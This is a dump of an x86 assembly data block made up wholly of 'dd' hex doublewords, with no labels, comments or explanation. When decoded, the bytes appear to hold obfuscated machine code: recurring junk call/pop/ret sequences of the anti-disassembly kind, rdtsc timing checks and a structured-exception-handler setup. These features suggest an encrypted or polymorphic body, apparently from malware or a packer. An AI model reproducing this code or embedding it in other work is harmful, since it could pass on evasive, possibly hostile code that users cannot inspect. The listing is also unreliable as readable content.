		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1504h, 0C3564600h
		dd 0BD318E42h, 64D21D1h, 0D8FE9FCh, 0E80000h, 5D000000h
		dd 163DED81h, 6A0652h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1D0424h, 55450000h, 0B66242C3h, 56A2CADEh, 80D5C1FBh
		dd 81669AEFh, 6A795FCFh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 1D042444h, 46000000h, 137CC356h, 6BA6B369h
		dd 74199B69h, 8DFEBF0Fh, 508A5785h, 0CCDF8106h,	905DEF8Ch
		dd 66505F52h, 908810BBh, 138D0Fh, 0EE90000h, 3D000000h
		dd 0A469AAD8h, 0D7E55712h, 334BEC5Ch, 35FF64BAh, 0
		dd 44D9D8Bh, 8964064Dh,	25h, 83E78000h,	181585FFh, 6A064Dh
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h, 57470000h
		dd 0EDE114C3h, 4556E474h, 860FB7A2h, 0Dh, 698D8B60h, 66064D2Ch
		dd 4777D281h, 6AFF6A61h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 16042444h, 43000000h, 0FD84C353h,	12E8C0h
		dd 36A40000h, 2474AD89h, 985D6A0Ch, 8804E5B2h, 3DC91E4Ah
		dd 5349CFBFh, 0C9BB5F37h, 0FF45D0D1h, 4D227DB5h, 52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1504h, 0C3524200h
		dd 820F811Ah, 6, 0B58D89h, 95FF064Dh, 64D0411h,	112E9h
		dd 0E600B000h, 0F9B70F70h, 9E871E4h, 0CA000000h, 54E352E0h
		dd 1699AB9Fh, 14B19D89h, 3C5B064Dh, 0EC830F61h,	3000000h
		dd 4D149DBDh, 0C8B60F06h, 22B19D8Bh, 6BA064Dh, 0F000000h
		dd 587h, 0C006BB00h, 0C18B20A5h, 32999529h, 0E8C1064Dh
		dd 0CE804h, 4BBC0000h, 0F5E36963h, 14EFFE41h, 0BD8B86D0h
		dd 64D26D1h, 0E2F7665Fh, 0A3DBD8Bh, 0E380064Dh,	66C82B84h
		dd 8BD0F4BBh, 0D5B509D1h, 0E9064D2Eh, 8Bh, 202DB501h, 858B064Dh
		dd 505F4C4Ch, 14498D89h, 9D8B064Dh, 64D0545h, 0E907C083h
		dd 7, 48352AF5h, 83E9C51Dh, 0D2BF00C0h,	3B4EF90Ch, 10830FD0h
		dd 23000000h, 4D0EF19Dh, 49E906h, 0C6BB0000h, 8B602E12h
		dd 0FFFFFF8Dh, 11E9FFh,	0B2490000h, 6F9DC34Ch, 0FC36918Ch
		dd 658D0703h, 83390EA4h, 840F01E1h, 1Fh, 5E9h, 533CC000h
		dd 0A583C7C6h, 0FFFFFFFFh, 89DA8BFEh, 5F4C4C95h, 0E9FC50h
		dd 8D000000h, 51956FB5h, 0D9BF0F06h, 69D78166h,	89006A8Ah
		dd 4D2C71BDh, 1195FF06h, 6A064D05h, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 16042444h, 47000000h, 5A9C357h
		dd 0ED3B9E3h, 8D890000h, 64D0E75h, 6AFCE183h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 15042444h, 42000000h
		dd 0E90FC352h, 29319D8Bh, 0FFC064Dh, 8Dh, 0B800h, 870F0000h
		dd 5, 0D8C78166h, 0BA3Bh, 81660000h, 0ADE150C7h, 0E8D1C233h
		dd 0E983D003h, 6AF47504h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 17042444h, 40000000h, 0D0E8C350h,	0BF665E0Ah
		dd 6A8032h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 140424h
		dd 56460000h, 0BF0FCCC3h, 880DFAh, 6A0000h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 150424h, 50400000h, 0BB0E76C3h
		dd 46C17B69h, 1D9FBB66h, 599958Bh, 6A064Dh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1B0424h, 53430000h, 1972FC3h
		dd 866BC567h, 0DF815107h, 3C963A0Bh, 1D8D8B5Fh,	57064D05h
		dd 1B7D8D29h, 505B064Dh, 188BC28Bh, 188BC103h, 0E8D1C18Bh
		dd 188BC203h, 0DEBF0F58h, 1C45BD83h, 0F00064Dh,	5F84h
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1604h
		dd 0C3554500h, 660656B7h, 0F878D6BFh, 0B8h, 0E58D8D00h
		dd 0F064D4Dh, 68Eh, 958D3100h, 0F064D2Ah, 0E1FFFBBFh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 6EC35545h, 9283B2B6h
		dd 2E9BD83h, 0F00064Dh,	3C284h,	89FB8B00h, 4D2CBDBDh, 0E9BD8306h
		dd 1064D02h, 3C8840Fh, 6A0000h,	3E853h,	5B200000h, 5C895BC3h
		dd 44810424h, 1D0424h, 53430000h, 297BF4C3h, 75A47A93h
		dd 0BBBB7D0Bh, 2724E8FEh, 2E9BD83h, 0F03064Dh, 35B86h
		dd 61BF6600h, 820F60A1h, 17h, 11880Fh, 0CE90000h, 0BF000000h
		dd 0FC872E79h, 1CC02062h, 665CD8DFh, 8057D98Ch,	805B6FDFh
		dd 3BB04E1h, 0A24E179h,	0D8840FC9h, 8B000000h, 4D0C21BDh
		dd 7D9D8906h, 8B064D23h, 4D187985h, 8533FC06h, 64D0639h
		dd 50FEBF0Fh, 0D98B5250h, 14E8310Fh, 0EB000000h, 0F7C48786h
		dd 0F2CD53D9h, 0D0ADED90h, 2C120319h, 663432EFh, 5B8E68BFh
		dd 489585Ah, 57006A24h,	3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1C04h, 0C3574700h, 6430B0BAh, 7EBE8750h, 0DAB70FF8h
		dd 1468006Ah, 0B7B0B413h, 240481F2h, 4F6AF0EBh,	0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 16h, 24C35747h, 95FF1026h
		dd 64D0EB1h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 16h,	72C35040h, 85894908h, 650B795h,	0AA98589h, 0B4E9064Dh
		dd 0F000001h, 28Ch, 8BFA8A00h, 50B78D85h, 0C7F506h, 18h
		dd 0E8F78166h, 0B58BF9EEh, 650B791h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 15h, 0D7C35343h,	0A99D8B38h, 8B064D0Dh
		dd 4D32E585h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1C04h, 0C3534300h, 788360CAh, 6A767FDDh, 689FC2Fh, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Ah, 6C35242h, 0ECD6AC4Ah
		dd 89570425h, 4D10558Dh, 8B665F06h, 79858BFBh, 31064D18h
		dd 4D11918Dh, 4468906h,	0FA8B50F9h, 6A243489h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h
		dd 1819C355h, 6975D27Ch, 0B5FF283Dh, 650B78Dh, 12E9h, 0E1816700h
		dd 7D888DD0h, 0DE02646Ah, 0D584EEFEh, 89181080h, 4D2B319Dh
		dd 4E806h, 3FF0000h, 71B3001Fh,	66525050h, 310FD88Bh, 585ADC8Ah
		dd 424448Bh, 8E8008Bh, 55000000h, 0C056F954h, 0BF4E0F32h
		dd 62A763CFh, 2444895Bh, 0FB8B6604h, 53006A58h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1D04h,	0C3534300h, 41EEA554h
		dd 505C3B81h, 9529144Fh, 64D1101h, 95858DF8h, 8B0650B7h
		dd 4D22A99Dh, 0EE95006h, 6D000000h, 51E4950Bh, 4727A295h
		dd 0EB5FC3C6h, 24048946h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 16h, 0A2C35141h, 9D8BFEA2h, 64D2E09h, 0C61BD89h
		dd 95FF064Dh, 64D0EB1h,	61DFB70Fh, 2E985C7h, 3064Dh, 0BD090000h
		dd 64D2D89h, 0FE9h, 11E8C400h, 0ED2268C8h, 253A3B77h, 0C7553C42h
		dd 0B795BD83h, 0F000650h, 6B84h, 56006A00h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1B04h,	0C3564600h, 0ECAC68B2h
		dd 61148EBBh, 0C10371BBh, 59E953h, 6A0000h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 160424h, 51410000h, 76B6CAC3h
		dd 0E32F59BBh, 0DD8D0118h, 0E8064D2Ch, 9, 36367B4Bh, 495AB3Bh
		dd 159D8BB8h, 5F064D22h, 110C3050h, 1114400h, 3010E8C1h
		dd 21144h, 5803114Ch, 7504E983h, 5036EBE7h, 110430h, 0C1011164h
		dd 443010E8h, 64000211h, 83580311h, 0E77504E9h,	0C1501BEBh
		dd 642810E8h, 44300311h, 28580211h, 30011164h, 0E9831104h
		dd 0EBE77504h, 8BC08B00h, 4D27619Dh, 49B58906h,	8B064D16h
		dd 4D2F2D9Dh, 0E9BD8306h, 3064D02h, 506850Fh, 6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h, 51410000h
		dd 0E4FD80C3h, 8FD7C39h, 0BD8322BAh, 650B795h, 0D5840F00h
		dd 0BB000004h, 1F9FBC9h, 0B795B5FFh
		dd 6A0650h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h
		dd 51410000h, 53A533C3h, 212DEE99h, 2D9995FFh, 0B58B064Dh
		dd 650B789h, 106C7h, 0BD8B0001h, 64D273Dh, 248D8D29h, 6050064Dh
		dd 0EF6ABE66h, 24348961h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 1Ah, 0B2C35141h, 0D6CDEFADh, 66566103h, 5F8E88BFh
		dd 0B795B5FFh, 6A0650h,	3E851h,	59200000h, 4C8959C3h, 44810424h
		dd 1C0424h, 51410000h, 4D7B18C3h, 0DEB83DF9h, 9D8BF114h
		dd 64D0B2Dh, 6860Fh, 9D8B0000h,	64D3055h, 2DED8D89h, 95FF064Dh
		dd 64D308Dh, 26FDBD8Bh,	0B58B064Dh, 650B789h, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 46C35141h, 40A20487h
		dd 2385858Bh, 6A064Dh, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1B0424h, 50400000h, 0A984C2C3h, 0AFABC5A7h, 6BF6662h
		dd 9D8B50D6h, 64D32DDh,	0BD8B515Bh, 64D22FDh, 0C486895Fh
		dd 6A000000h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 19042444h, 46000000h, 0BF9CC356h, 733CE014h,	0AE9h
		dd 0AA72EC00h, 1A852F3Bh, 8BCE6CBBh, 4D059995h,	53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1404h, 0C3534300h
		dd 0C283FC63h, 53006A04h, 3E8h,	0C35B2000h, 245C895Bh
		dd 24448104h, 1604h, 0C3534300h, 89BC2D8Bh, 4D03F58Dh
		dd 20508906h, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h
		dd 15h,	0C8C35040h, 0CABF66BCh,	0F0858D4Ah, 6A0650CBh
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1C042444h
		dd 40000000h, 0EA86C350h, 0F9EC0A6Eh, 566157FEh, 895BDF8Bh
		dd 4D2DED95h, 0B8868906h, 89000000h, 4D2835B5h,	6A006A06h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 17042444h
		dd 41000000h, 0B787C351h, 0D88BD4DDh, 0B795B5FFh, 6A0650h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h
		dd 6C4C55C3h, 0B18D0189h, 0FF064D17h, 4D243195h, 53006A06h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1B04h, 0C3534300h
		dd 0B90C6982h, 0E61DDB45h, 1C49BD8Bh, 0E896064Dh, 0Eh
		dd 778DD969h, 36FE765Bh, 2CFE2C73h, 0B260155Bh,	1459BEDEh
		dd 5F612220h, 9E86050h,	0BD000000h, 5D04D8F7h, 50C0C442h
		dd 310F5250h, 615A585Ah, 52006A96h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1A04h, 0C3524200h, 151AB71Eh, 5059850Ch
		dd 2E51BD8Bh, 535B064Dh, 0C199D89h, 0FF5B064Dh,	50B795B5h
		dd 0D850F06h, 0E9000000h, 8, 27962158h,	0CBEFBBBBh, 2CC195FFh
		dd 6A064Dh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 150424h
		dd 52420000h, 89C26FC3h, 4D25D595h, 89B50906h, 83064D2Fh
		dd 4D32A5BDh, 840F0006h, 5Dh, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 1Bh, 54C35747h, 0AFC47FFBh, 8B1E8E65h
		dd 4D1AA1BDh, 0B800F06h, 0F000000h, 586h, 3A18BF00h, 66506D4Dh
		dd 3489DE8Bh, 57006A24h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1404h, 0C3574700h, 95B5FFA5h, 600650B7h, 81BED281h
		dd 858B2B4Fh, 64D0D6Dh,	0C595FF61h, 6A064D17h, 3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1B042444h, 45000000h
		dd 61BFC355h, 67261554h, 0B5FF13D0h, 650B795h, 0FFA8E780h
		dd 4D29B995h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1A04h, 0C3524200h, 2771FAD9h, 0E89C64ECh, 11h, 904D70DEh
		dd 7D4D371Eh, 2DA7C15Dh, 0C0308C60h, 31BD8B0Ch,	5F064D15h
		dd 1505BD83h, 0F02064Dh, 6A84h,	50006A00h, 3E8h, 0C3582000h
		dd 24448958h, 24448104h, 1C04h,	0C3504000h, 44CCDB8Eh
		dd 0F9FA91E8h, 0FE98Ch,	9BB90000h, 0ED25A749h, 3E769B30h
		dd 0B4A0F488h, 0A9858BE1h, 6A064D15h, 3E85600h,	20000000h
		dd 895EC35Eh, 81042474h, 18042444h, 46000000h, 0B512C356h
		dd 8B4EDE12h, 4D1369BDh, 0C606h, 0C7D98B66h, 4D211185h
		dd 6, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1704h, 0C3534300h, 3E49F038h, 0FFF37CE9h, 56006AFFh
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1504h, 0C3564600h
		dd 8D3131C0h, 64D31CDh,	0B70FC18Bh, 35858DDAh, 66064D07h
		dd 6650D98Bh, 489F88Bh,	57006A24h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1904h, 0C3574700h, 0F765DE6Bh, 6A0910h, 44D9D8Bh
		dd 6A064Dh, 0E851006Ah,	3, 59C35920h, 4244C89h,	4244481h
		dd 15h,	0D1C35141h, 0BE9B6h, 0A87D0000h, 827E8878h, 0C78155CEh
		dd 96858DFEh, 60065225h, 95858B52h, 58064D2Ah, 1A6335BBh
		dd 8529613Dh, 64D29DDh,	0F05C083h, 689h, 0B9BD8B00h, 50064D0Bh
		dd 17810Fh, 12E90000h, 8E000000h, 0ADE8D016h, 0F2CEA99Dh
		dd 9DCB8713h, 0B6D39A7h, 24048995h, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 1Ah, 0D7C35040h,	3644E27Bh, 6A4AE9h
		dd 13D5BD8Bh, 6A064Dh, 95FF5F56h, 64D1149h, 0E0CBB66h
		dd 9A138D8Dh, 6A0650h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 170424h, 56460000h, 0C77D3FC3h, 0B58960EAh, 64D03BDh
		dd 10E9h, 0DEE98200h, 16BC149Bh, 4AF3D46h, 9E815A0Ah, 0D1FF6184h
		dd 18698509h, 0BD83064Dh, 64D1281h, 8D850F01h, 6A000000h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 17042444h
		dd 46000000h, 8C4CC356h, 820F31FCh, 3, 6AF8BF0Fh, 91958902h
		dd 90064D13h, 0B7525050h, 5A310F22h, 6A9058h, 3E852h, 5A200000h
		dd 54895AC3h, 44810424h, 170424h, 52420000h, 117C2DC3h
		dd 3195FF54h, 6A064D24h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 15042444h, 41000000h, 0C26BC351h,	0A3D7BB66h
		dd 6870Fh, 0BD0B0000h, 64D110Dh, 0DFBE9h, 0E800h, 815D0000h
		dd 5225A0EDh, 68D0F06h,	89000000h, 4D1F058Dh, 0AEBF6606h
		dd 57858DCCh, 6A06508Ah, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1D042444h, 40000000h, 0B1CAC350h,	0E433BDF8h
		dd 9489BFE7h, 89DC8A50h, 0FF642404h, 35h, 57006A00h, 3E8h
		dd 0C35F2000h, 247C895Fh, 24448104h, 1A04h, 0C3574700h
		dd 0F5209D5Ah, 0F96E2100h, 7519D03h, 8964064Dh,	25h, 0FF63B300h
		dd 4D181585h, 0D3816606h, 0FF6A6A9Ah, 51DFB70Fh, 4D9D8B52h
		dd 5F064D0Ch, 0A1B5FF5Bh, 6A064D0Ah, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 89A9C355h
		dd 4D1441BDh, 0A6D38106h, 0FF497D30h, 4D041195h, 10EE906h
		dd 0FE80000h, 12000000h, 7E85DBCDh, 8A8AD75h, 684D58FFh
		dd 0BF0FDD31h, 89605BDEh, 4D3069B5h, 0B061F906h, 51BD8B00h
		dd 0F064D24h, 38Dh, 0FBBF0F00h,	0BD8B70E6h, 64D0BF5h, 0F6071E4h
		dd 8C0FD2B7h, 6, 810Fh,	3C610000h, 0B9830F61h, 89000000h
		dd 4D20358Dh
		dd 0C8B60F06h, 6BADF8Bh, 0F000000h, 0C18BFEB7h,	6890Fh
		dd 0B5090000h, 64D1E0Dh, 8904E8C1h, 4D14859Dh, 0E2F76606h
		dd 30958D89h, 0C82B064Dh, 45D6E381h, 0D18B7EFAh, 77E9h
		dd 0B1BF6600h, 959589F5h, 8B064D05h, 47554C85h,	8E949h
		dd 0C24C0000h, 41D9F56Bh, 0C0835A7Ah, 19BD8907h, 83064D16h
		dd 0BF6600C0h, 0D03B7806h, 12830Fh, 9D8B0000h, 64D1FE9h
		dd 37E9h, 665B5000h, 492DF781h,	0FFFF8D8Bh, 8D09FFFFh
		dd 64D31BDh, 0F01E183h,	1B84h, 1FEBBB00h, 0A5837112h, 0FFFFFFFFh
		dd 0FA8A60FEh, 4C958961h, 0E9494755h, 0
		dd 0A442B58Dh, 0BD030651h, 64D2665h, 6A006Ah, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 150424h, 51410000h, 8979EFC3h
		dd 4D1B658Dh, 1195FF06h, 0E9064D05h, 7,	0BC1CEF36h, 0B97FF0DEh
		dd 0F93h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 19h,	0C3C35646h, 33DF3DB6h, 5EE8BB8Eh, 0DE953EEh, 3A000000h
		dd 0CAE478C4h, 54E352E0h, 1699AB9Fh, 14E9h, 0C805AC00h
		dd 7FB9769Ch, 61ADA432h, 0EC1351BAh, 2E6A3F50h,	0FCE183F2h
		dd 0FE8h, 1D5E700h, 81357D35h, 1DF96DA7h, 0C122344Ch, 30A1BD29h
		dd 895B064Dh, 4D28F98Dh, 9509FC06h, 64D2985h, 8166C02Bh
		dd 308FEE7h, 4D12119Dh,	0BA06h,	850F0000h, 6, 1459BD89h
		dd 33AD064Dh, 3E8D1C2h,	4E983D0h, 0DF8F475h, 88h, 99958BFCh
		dd 6A064D05h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 15042444h, 41000000h, 42E7C351h, 450DBF66h, 2BA5B529h
		dd 8D8B064Dh, 64D051Dh,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 1Ch, 54C35040h, 48AF71F2h,	8531A097h, 5E9h
		dd 16274B00h, 8B507A4Fh, 3188BC2h, 8B188BC1h, 3E8D1C1h
		dd 58188BC2h, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h
		dd 19h,	0E8C35141h, 78A41F1Eh, 0DE9C4h,	0CD7B0000h, 4D7DBD2Ah
		dd 60FE183Bh, 0E9ABBCB7h, 0Eh, 0FE213033h, 957B00CFh, 8ABDB954h
		dd 0BD83FD28h, 64D1C45h, 48840F00h, 6A000000h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 1B042444h, 42000000h
		dd 2B3C352h, 272884E3h,	9D8B796Dh, 64D1501h, 0B8h, 55BD8B00h
		dd 8D064D2Fh, 4D4DE58Dh, 359D8B06h, 0FF064D21h,	8DBD33E1h
		dd 83064D0Ch, 4D02E9BDh, 840F0006h, 453h, 0E857006Ah, 3
		dd 5FC35F20h, 4247C89h,	4244481h, 19h, 31C35747h, 0E82CE50Ah
		dd 0B9BD2B69h, 89064D2Ch, 4D30F19Dh, 0E9BD8306h, 1064D02h
		dd 434840Fh, 9D8B0000h,	64D2B99h, 53DBD8Bh, 0BD83064Dh
		dd 64D02E9h, 0E5860F03h, 89000003h, 4D2E518Dh, 6A6006h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h
		dd 0F2939C3h, 0E960F9BFh, 0Ch, 0B9A2BFFAh, 8B482383h, 998701B7h
		dd 8F94B866h, 0D98C6661h, 4E180F5h, 3810Fh, 0D3800000h
		dd 0FC90AE6h, 11C84h, 8BF88B00h, 4D187985h, 52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1C04h, 0C3524200h
		dd 8953158Bh, 0A7D01BE0h, 0AE972h, 6C420000h, 27CB2127h
		dd 32849D96h, 0C9CF8166h, 398533E2h, 6A064D06h,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h
		dd 151BC352h, 0EAABBA23h, 2C2CBF90h, 0BF503F1Eh, 760EC9EDh
		dd 0D1BD8B90h, 6A064D1Fh, 12E800h, 56FB0000h, 0F1F35B22h
		dd 283F1E08h, 6E927C58h, 8817F742h, 685BFC8Ah, 4FF29A8Bh
		dd 9E8h, 5EDC9700h, 457ED5C2h, 810F925Ah, 19h, 13E8h, 3836B500h
		dd 3F2CC23Fh, 553E8DD6h, 37B711B1h, 0E6362BBCh,	34815B5Bh
		dd 0ED997424h, 7995894Fh, 0FF064D22h, 4D0EB195h, 95858906h
		dd 6A0650B7h, 3E85700h,	20000000h, 895FC35Fh, 8104247Ch
		dd 1C042444h, 47000000h, 0F662C357h, 0D5AFF4C5h, 89EE5CB9h
		dd 4D0B4185h, 1BD8B06h,	0E9064D28h, 1E6h, 4EB8166h, 8D858BD7h
		dd 6A0650B7h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 19042444h, 42000000h, 4154C352h, 1A606B2Fh, 0F7B7DA8Bh
		dd 1800C7h, 6A0000h, 3E856h, 5E200000h,	74895EC3h, 44810424h
		dd 170424h, 56460000h, 616A28C3h, 0DDBD8B99h, 8B064D11h
		dd 50B791B5h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1A04h, 0C3574700h, 7E474F19h, 293715C7h, 4D17918Dh
		dd 0E5858B06h, 8B064D32h, 4D21219Dh, 6A068906h,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h
		dd 0FDF8C351h, 0FD4533ACh, 7AB0A4D7h, 0AC715BBBh, 8BF88B21h
		dd 4D187985h, 0CE906h, 0AD820000h, 53A3867Fh, 4CEA2C7Fh
		dd 4689EC1Bh, 0C9953104h, 96064D13h, 5050D88Bh,	51525052h
		dd 0E9310F5Bh, 8, 0CB00FF00h, 2D4754h, 310F585Ah, 2840Fh
		dd 0F98B0000h, 6A96585Ah, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 1B042444h, 47000000h, 0ED16C357h,	8777D9E3h
		dd 16BBF07Fh, 0FF68AB5Ch, 50B78DB5h, 56006A06h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1404h,	0C3564600h, 4E81Bh, 3FF0000h
		dd 0E950001Fh, 0Ch, 0A71312A8h,	77E5B71Fh, 0D8EB2943h
		dd 424448Bh, 8BDF8Bh, 0E1BF6652h, 44895F49h, 8E80424h
		dd 1D000000h, 3DC193FEh, 5F574B30h, 8DDE8B58h, 50B79585h
		dd 0D8B70F06h, 17A5BD8Bh, 0E950064Dh, 5, 638E50F5h, 240489C2h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 0CEC35343h
		dd 453465DDh, 0EB195FFh, 0BE9064Dh, 0A5000000h,	82013818h
		dd 99C63DE7h, 6A61F1DBh, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 17042444h, 41000000h, 0DDABC351h,	0BB6647A0h
		dd 85C7EF09h, 64D02E9h,	3, 0E892DF80h, 0Fh, 8BCA91D8h
		dd 8E7B4329h, 0B24DAAD4h, 810FD888h, 8CBC96DBh,	0BD835B22h
		dd 650B795h, 39840F00h,	6A000000h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 3FDAC353h
		dd 0B70F9734h, 39BD8BDEh, 0E9064D07h, 27h, 7E9h, 96B8C500h
		dd 1726C598h, 110C3050h, 1114400h, 3010E8C1h, 21144h, 5803114Ch
		dd 7504E983h, 5036EBE7h, 110430h, 0C1011164h, 443010E8h
		dd 64000211h, 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h
		dd 44300311h, 28580211h, 30011164h, 0E9831104h,	0EBE77504h
		dd 6AC08B00h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 15042444h, 41000000h, 3FD0C351h, 0D99BD03h, 0BD83064Dh
		dd 64D02E9h, 8850F03h, 1000005h, 4D1EC195h, 95BD8306h
		dd 650B7h, 4F5840Fh, 6A0000h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 190424h, 50400000h, 0F19AF2C3h, 539675B1h
		dd 0B2E9DB81h, 0FF5B10ECh, 50B795B5h, 5E906h, 48D60000h
		dd 0FFB1E864h, 4D2D9995h, 7E806h, 3B600000h, 3DC3AC2Dh
		dd 0BD8D298Ah, 5B064D14h, 0B789B58Bh, 6A0650h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
		dd 5C5A07C3h, 331BD89h,	6C7064Dh, 10001h, 0FE8h, 87F35100h
		dd 8CC48EEBh, 0C304D654h, 0FE7ECC95h, 25A5BD8Bh, 965F064Dh
		dd 5050DE8Bh, 0AE9h, 0CCD7D500h, 0AC5E5E00h, 5B50218Ah
		dd 56006A96h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1704h
		dd 0C3564600h, 51D61BEEh, 41E9E781h, 0B5FF3BA1h, 650B795h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 8CC35747h
		dd 0B0C6A2DAh, 25963FECh, 319D8Bh, 95FF064Dh, 64D308Dh
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 1Ch,	3CC35646h, 1DF76863h, 0DE91846Ah, 0CE9h, 0A031D500h
		dd 24ECE74Bh, 4AAA9B84h, 89B58B38h, 6A0650B7h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h
		dd 7D8C351h, 0B4D6C408h, 89F1100Fh, 4D2CED8Dh, 85858B06h
		dd 6A064D23h, 3E85600h,	20000000h, 895EC35Eh, 81042474h
		dd 1B042444h, 46000000h, 3526C356h, 3F2308FCh, 0DC8A5CC7h
		dd 10E8h, 1F5D1B00h, 0FD5592EDh, 9B502827h, 1C680256h
		dd 19860FE7h, 0E8000000h, 13h, 0B41A749Bh, 6C5C5793h, 37FF4D79h
		dd 0FE1A8674h, 5BB4E3F2h, 0C486895Fh, 6A000000h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 18042444h, 47000000h
		dd 2CA0C357h, 8BF74E15h, 4D059995h, 57006A06h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1604h,	0C3574700h, 0BFAA3CE9h
		dd 1EC867BFh, 6A04C283h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 18042444h, 40000000h, 3F3CC350h, 8956FFA6h
		dd 6A2050h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h
		dd 52420000h, 57DF41C3h, 9D8B2F48h, 64D0691h, 23B1BD89h
		dd 858D064Dh, 650CBF0h,	0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 14h, 0DC35040h, 89FA8B66h,	0B886h,	50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1704h, 0C3504000h
		dd 0FA1ABA90h, 6830Fh, 0B5890000h, 64D2AD1h, 6AD8BF0Fh
		dd 75958900h, 0FF064D24h, 50B795B5h, 53006A06h,	3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1C04h,	0C3534300h, 0F65BF7E6h
		dd 0F8546E8Ch, 13E9C6h,	9F330000h, 0BE602FB0h, 0A878C801h
		dd 0AFEE6B2Dh, 0EAA87FEFh, 3195FF30h, 0F064D24h, 5050FBBFh
		dd 0AE952h, 44B40000h, 0C2ED8F90h, 56F36A82h, 0F60310Fh
		dd 8Ch,	585A6100h, 89243489h, 4D267DB5h, 95B5FF06h, 6A0650B7h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 18042444h
		dd 42000000h, 0BABCC352h, 0FF8488EEh, 4D2CC195h, 0A5BD8306h
		dd 64D32h, 0A0840Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h
